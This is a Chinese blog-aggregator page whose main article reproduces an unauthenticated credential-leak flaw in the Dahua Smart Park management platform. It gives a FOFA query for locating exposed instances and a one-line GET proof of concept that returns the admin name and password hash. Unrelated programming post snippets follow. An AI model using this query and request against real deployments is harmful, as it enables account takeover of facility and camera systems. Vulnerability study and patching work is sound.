当前位置：首页 > news >正文

大华智慧园区管理平台任意密码读取漏洞复现

news 2026/2/10 11:13:07

文章目录

大华智慧园区管理平台任意密码读取漏洞复现
- 0x01 前言
- 0x02 漏洞描述
- 0x03 影响平台
- 0x04 漏洞环境
- 0x05 漏洞复现
- - 1.访问漏洞环境
  - 2.构造POC
  - 3.复现

大华智慧园区管理平台任意密码读取漏洞复现

0x01 前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

0x02 漏洞描述

大华智慧园区综合管理平台是一款综合管理平台，具备园区运营、资源调配和智能服务、摄像监控等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。

大华智慧园区综合管理平台存在任意密码读取漏洞，可以直接读取管理账号名以及其密码Hash值，造成未授权登入访问劫持园区管理平台，危害性高。

0x03 影响平台

大华智慧园区综合管理平台

0x04 漏洞环境

FOFA语法： app=“dahua-智慧园区综合管理平台”

在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC （GET）

/admin/user_getUserInfoByUserName.action?userName=system

3.复现

在这里插入图片描述
访问漏洞检测POC中的漏洞接口，发现泄露了管理账号名：system 及密码Hash值！！！

大华智慧园区管理平台任意密码读取漏洞复现

文章目录大华智慧园区管理平台任意密码读取漏洞复现0x01 前言0x02 漏洞描述0x03 影响平台0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现大华智慧园区管理平台任意密码读取漏洞复现 0x01 前言免责声明：请勿利用文章内的相关技术从事非法测试&…...

编程日记 2023/10/9 9:24:24

【C++ 学习㉖】- 位图详解（哈希扩展）

目录一、位图的概念二、位图的实现 2.1 - bitset.h 2.2 - test.cpp 三、位图的应用 3.1 - 例题一 3.2 - 例题二一、位图的概念假设有这样一个需求：在 100 亿个整型数字中快速查询某个数是否存在其中，并假设是 32 位操作系统，4 GB…...

编程日记 2023/10/9 9:23:23

天启科技联创郭志强：趟遍教育行业信数化沟坎，创业智能赛道重塑行业生态

郭志强天启科技联合创始人近20年互联网、企业信息化、数字化实施、管理及培训经验。对于集团型企业及初创企业、传统企业及互联网企业的信息化、数字化转型有自己独到的见解和实操经验。具备跨区域、集团化信息规划、解决方案、系统架构及企业流程搭建、优化和技术团队管理能…...

编程日记 2023/10/9 9:21:20

Cuckoo沙箱各Ubuntu版本安装及使用

1.沙箱简介 1.1 沙箱沙箱是一个虚拟系统程序，允许你在沙箱环境中运行浏览器或其他程序，因此运行所产生的变化可以随后删除。它创造了一个类似沙盒的独立作业环境，在其内部运行的程序并不能对硬盘产生永久性的影响。在网络安全中&#xff…...

编程日记 2023/10/9 9:19:18

什么是mvvm模式，优点是什么

MVVM（Model-View-ViewModel）模式是一种设计模式。它是一种开发模式，旨在分离用户界面的开发和业务逻辑的开发。MVVM模式将应用程序分为三个部分： Model：它代表应用程序的数据模型和业务逻辑。 View：它代表…...

编程日记 2023/10/9 9:17:16

C/C++ 中的函数返回局部变量以及局部变量的地址？

C/C中，函数内部的一切变量(函数内部局部变量，形参)都是在其被调用时才被分配内存单元。形参和函数内部的局部变量的生命期和作用域都是在函数内部(static变量的生命期除外)。子函数运行结束时，所有局部变量的内存单元会被系统释放。在C中&…...

编程日记 2023/10/9 9:16:15

springboot和vue：七、mybatis/mybatisplus多表查询+分页查询

mybatisplus实际上只对单表查询做了增强（速度会更快），从传统的手写sql语句，自己做映射，变为封装好的QueryWrapper。本篇文章的内容是有两张表，分别是用户表和订单表，在不直接在数据库做表连接的…...

编程日记 2023/10/9 9:15:13

【Leetcode】 51. N 皇后

按照国际象棋的规则，皇后可以攻击与之处在同一行或同一列或同一斜线上的棋子。 n 皇后问题研究的是如何将 n 个皇后放置在 nn 的棋盘上，并且使皇后彼此之间不能相互攻击。给你一个整数 n ，返回所有不同的 n 皇后问题的解决方案。每一种…...

编程日记 2023/10/9 9:13:09

Java数据库连接：JDBC介绍与简单示例

Java数据库连接：JDBC介绍与简单示例在Java程序中，操作数据库是必不可少的。JDBC（Java Database Connectivity）是Java中用于连接和操作数据库的一种技术。通过JDBC，Java程序可以与各种关系型数据库进行交互&#xff0…...

编程日记 2023/10/9 9:11:06

智慧茶园：茶厂茶园监管可视化视频管理系统解决方案

一、方案背景我国是茶叶生产大国，茶叶销量全世界第一。随着经济社会的发展和人民生活水平的提高，对健康、天然的茶叶产品的消费需求量也在逐步提高。茶叶的种植、生产和制作过程工序复杂，伴随着人力成本的上升，传统茶厂的运营及…...

编程日记 2023/10/9 9:10:04

springboot整合pi支付开发

pi支付流程图： 使用Pi SDK功能发起支付由 Pi SDK 自动调用的回调函数（让您的应用服务器知道它需要发出批准 API 请求）从您的应用程序服务器到 Pi 服务器的 API 请求以批准付款（让 Pi 服务器知道您知道此付款）Pi浏览器向…...

编程日记 2023/10/9 9:08:00

类 ChatGPT 模型存在的局限性

尽管类ChatGPT模型经过数月的迭代和完善，已经初步融入了部分领域以及人们的日常生活，但目前市面上的产品和相关技术仍然存在一些问题，以下列出一些局限性进行详细说明与成因分析： 1）互联网上高质量、大规模、经过清洗…...

编程日记 2023/10/9 9:05:57

Nginx的安全控制

安全控制关于web服务器的安全是比较大的一个话题，里面所涉及的内容很多，Nginx反向代理是安全隔离来提升web服务器的安全，通过代理分开了客户端到应用程序服务器端的连接，实现了安全措施。在反向代理之前设置防火墙，…...

编程日记 2023/10/9 9:04:55

字符串与字符编码 - GO语言从入门到实战

字符串与字符编码 - GO语言从入门到实战字符串与其他主要编程语⾔的差异基本数据类型：string 是基础数据类型，而不是引用类型或指针类型。string 在内存中占用的空间大小是固定的，且只读、不可改变。字节切片：string 是只读…...

编程日记 2023/10/9 9:03:53

12P4375X042-233C KJ2005X1-BA1 CE3007 EMERSON servo controller

12P4375X042-233C KJ2005X1-BA1 CE3007 EMERSON servo controller 我们提供三种不同类别的EDGEBoost I/O模块供选择，以实现最大程度的I/O定制: 数字和模拟输入/输出网络和连接边缘人工智能和存储利用EDGEBoost I/O实现变革性技术 EBIO-2M2BK EBIO-2M2BK载板支持…...

编程日记 2023/10/9 9:02:52

WPF向Avalonia迁移（四、其他事项）

开发必备 1. Avalonia项目源代码！！！！！！！！！！没有源代码，你连控件的背景色怎么改都找不着！！ 2.下载你所使用的版本&#x…...

编程日记 2023/10/9 9:01:51

Python 代码调试

from pdb import set_trace as stx 是一个Python代码中常用的调试技巧之一，它用于在代码中插入断点以进行调试。这行代码的作用是将Python标准库中的 pdb（Python Debugger）模块中的 set_trace 函数导入，并将其重命名为 stx&#x…...

编程日记 2023/10/9 9:00:50

DM宣传单制作，利用在线模板，快速替换文字

如果你需要制作一批宣传单，但是时间很紧，而且没有专业的设计人员协助，那么你可以选择使用在线模板来快速制作宣传单。本文将介绍如何使用乔拓云平台，快速制作宣传单的方法。步骤一：选择适合的在线制作工具首先&…...

编程日记 2023/10/9 8:59:49

【力扣】42. 接雨水

这道题我卡了差不多1个小时，不是不会做，是不知道怎么能用栈来实现，后面看了一个博主的视频，豁然开朗，我主要的纠结点在于当指针指到7的时候，我计算出4到7的水块是2，但实际上是0，因为…...

编程日记 2023/10/9 8:58:48

IPETRONIK数据采集设备携手Softing Q-Vision软件致力于ADAS测试方案

一背景汽车ADAS技术是当下国内外的重点研究方向，且ADAS的发展水平和市场竞争力紧密相关，因此一套完善的ADAS测试方案对各整车厂而言非常重要。然而，国内ADAS测试却面临着很多阻碍，主要原因在于：相关测试设备昂贵&am…...

编程日记 2023/10/9 8:57:46

ES6从入门到精通：前言

ES6简介 ES6（ECMAScript 2015）是JavaScript语言的重大更新，引入了许多新特性，包括语法糖、新数据类型、模块化支持等，显著提升了开发效率和代码可维护性。核心知识点概览变量声明 let 和 const 取代 var&#xf…...

编程新知 2025/8/18 16:42:44

51c自动驾驶~合集58

我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留，CCA-Attention为LLM长文本建模带来突破性进展琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制（CCA-Attention），…...

编程新知 2026/2/5 4:25:15

树莓派超全系列教程文档--(61)树莓派摄像头高级使用方法

树莓派摄像头高级使用方法配置通过调谐文件来调整相机行为使用多个摄像头安装 libcam 和 rpicam-apps依赖关系开发包文章来源： http://raspberry.dns8844.cn/documentation 原文网址配置大多数用例自动工作，无需更改相机配置。但是，一…...

编程新知 2026/2/5 4:39:03

Python如何给视频添加音频和字幕

在Python中，给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加，包括必要的代码示例和详细解释。环境准备在开始之前，需要安装以下Python库：…...

编程新知 2025/9/3 4:12:17

前端开发面试题总结-JavaScript篇(一)

文章目录 JavaScript高频问答一、作用域与闭包1.什么是闭包（Closure）？闭包有什么应用场景和潜在问题？2.解释 JavaScript 的作用域链（Scope Chain） 二、原型与继承3.原型链是什么？如何实现继承&a…...

编程新知 2026/2/1 3:12:03

SpringCloudGateway 自定义局部过滤器

场景： 将所有请求转化为同一路径请求（方便穿网配置）在请求头内标识原来路径，然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...

编程新知 2026/2/1 4:53:36

使用 SymPy 进行向量和矩阵的高级操作

在科学计算和工程领域，向量和矩阵操作是解决问题的核心技能之一。Python 的 SymPy 库提供了强大的符号计算功能，能够高效地处理向量和矩阵的各种操作。本文将深入探讨如何使用 SymPy 进行向量和矩阵的创建、合并以及维度拓展等操作，并通过具体…...

编程新知 2026/2/8 21:52:30

鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南

1. 项目概述本跑酷小游戏基于鸿蒙HarmonyOS 5开发，使用DevEco Studio作为开发工具，采用Java语言实现，包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...

编程新知 2025/12/19 22:56:05